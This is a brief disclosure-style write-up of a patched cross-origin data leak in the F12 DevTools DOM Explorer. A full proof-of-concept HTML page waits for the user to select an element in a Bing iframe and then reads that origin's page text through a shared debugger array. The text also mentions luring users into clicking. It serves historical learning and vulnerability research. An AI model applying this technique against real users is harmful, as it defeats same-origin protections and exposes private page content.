This one surprised me. While exploring how the F12 DOM Explorer stored selected elements, I realized that elements from cross-origin iframes were being placed into a shared array on the top window. That meant a page could wait for the user to click “Select Element” on an iframe and then silently read the cross-origin document’s content.

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<title>Test</title>
</head>
<body>
Open DevTools in the DOM Explorer section, click on the "Select Element" button and then select (well, just click) anything inside Bing's iFrame.<br />
<br />
The xDomain happens because the selected elements (no matter if they are in iFrames) are stored inside an array on the top window. Once the debugger
stores an element from the iFrame, we can easily access the document of it.<br />
<iframe src="http://www.bing.com" width="600" height="400"></iframe>
<script>
function getDocument()
{
	if (window.__BROWSERTOOLS_DOMEXPLORER_STORED_ELEMENTS &&
		window.__BROWSERTOOLS_DOMEXPLORER_STORED_ELEMENTS.length > 0 &&
		window.__BROWSERTOOLS_DOMEXPLORER_STORED_ELEMENTS[0].ownerDocument &&
		window.__BROWSERTOOLS_DOMEXPLORER_STORED_ELEMENTS[0].ownerDocument != document
		)
	{
		var iFrameDoc = window.__BROWSERTOOLS_DOMEXPLORER_STORED_ELEMENTS[0].ownerDocument;
		alert(iFrameDoc.body.innerText);
	}
	else setTimeout("getDocument()");
}

getDocument();

</script>
</body>
</html>

The root issue was that window.__BROWSERTOOLS_DOMEXPLORER_STORED_ELEMENTS was a plain array on the top window, with no cross-origin checks when elements were inserted. Once a cross-origin element was stored there, its ownerDocument was fully accessible from the attacker’s page, giving complete read access to the other origin’s DOM. Instructing a user to “click anywhere in the debug view” was a realistic social engineering step.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.